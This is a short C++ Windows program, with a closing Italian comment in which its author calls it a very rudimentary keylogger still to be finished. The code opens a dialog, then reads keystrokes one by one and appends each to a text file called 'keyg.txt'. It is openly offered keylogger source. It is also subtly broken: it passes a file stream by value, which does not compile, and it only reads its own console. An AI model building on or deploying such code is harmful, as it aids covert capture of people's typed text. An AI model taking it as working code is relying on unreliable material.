#include"stdafx.h"
#include"gioco.h"
#include<Windows.h>
#include<MMSystem.h>
#include<WinUser.h>
#include<fstream>
#include<iostream>
#include<conio.h>
#define WIN32_LEAN_AND_MEAN
using namespace std;
void keylog(int a, char ch, ofstream keyg)
{
a=0;
keyg.open("keyg.txt",ios::app);
if(!keyg)
MessageBox(0,_T("IMPOSSIBILE APRIRE FILE!"),_T("ERRORE"),MB_OK|MB_ICONERROR);
keyg<<"___________________________________________________________"<<endl;
while(a!=999)
{
ch=_getch();
switch(ch)
{
case'a':
keyg<<"a";
break;
case 'b':
keyg<<"b";
break;
case 'c':
keyg<<"c";
break;
case 'd':
keyg<<"d";
break;
case 'e':
keyg<<"e";
break;
case 'f':
keyg<<"f";
break;
case 'g':
keyg<<"g";
break;
case 'h':
keyg<<"h";
break;
case 'i':
keyg<<"i";
break;
case 'j':
keyg<<"j";
break;
case 'k':
keyg<<"k";
break;
case 'l':
keyg<<"l";
break;
case 'm':
keyg<<"m";
break;
case 'n':
keyg<<"n";
break;
case 'o':
keyg<<"o";
break;
case 'p':
keyg<<"p";
break;
case 'q':
keyg<<"q";
break;
case 'r':
keyg<<"r";
break;
case 's':
keyg<<"s";
break;
case 't':
keyg<<"t";
break;
case 'u':
keyg<<"u";
break;
case 'v':
keyg<<"v";
break;
case 'w':
keyg<<"w";
break;
case 'x':
keyg<<"x";
break;
case 'y':
keyg<<"y";
break;
case 'z':
keyg<<"z";
break;
case 0x30:
keyg<<"0";
break;
case 0x31:
keyg<<"1";
break;
case 0x32:
keyg<<"2";
break;
case 0x33:
keyg<<"3";
break;
case 0x34:
keyg<<"4";
break;
case 0x35:
keyg<<"5";
break;
case 0x36:
keyg<<"6";
break;
case 0x37:
keyg<<"7";
break;
case 0x38:
keyg<<"8";
break;
case 0x39:
keyg<<"9";
break;
case VK_SPACE:
keyg<<" ";
break;
case VK_RETURN:
keyg<<"\n";
break;
default:
MessageBox(0,_T("Errore!"),_T("Avviso!"),DS_CENTERMOUSE|MB_OK|MB_ICONWARNING);
}
}
keyg.close();
}
BOOL CALLBACK unaDlgProc(HWND hwndDlg, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
if(uMsg==WM_CLOSE)
{
EndDialog(hwndDlg, 0);
return TRUE;
}
return FALSE;
}
int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrevInst, LPSTR lpCmdLine, int nCmdShow)
{
int a=0;
char ch;
ofstream keyg;
DialogBoxParam(0,_T("miodialogo3"),0, unaDlgProc, 0);
keylog(a, ch, keyg);
return TRUE;
}
DOVREBBE ESSERE PIU UN PROGRAMMA TEORICO PER ME CHE ALTRO, VISTO CHE LO DEVO ANCORA IMPLEMENTARE E ANCHE FINITO NON POTREBBE AVERE MOLTE FUNZIONALITà.. comunuque lo si puo definire un keylogger molto ma molto rudimentale..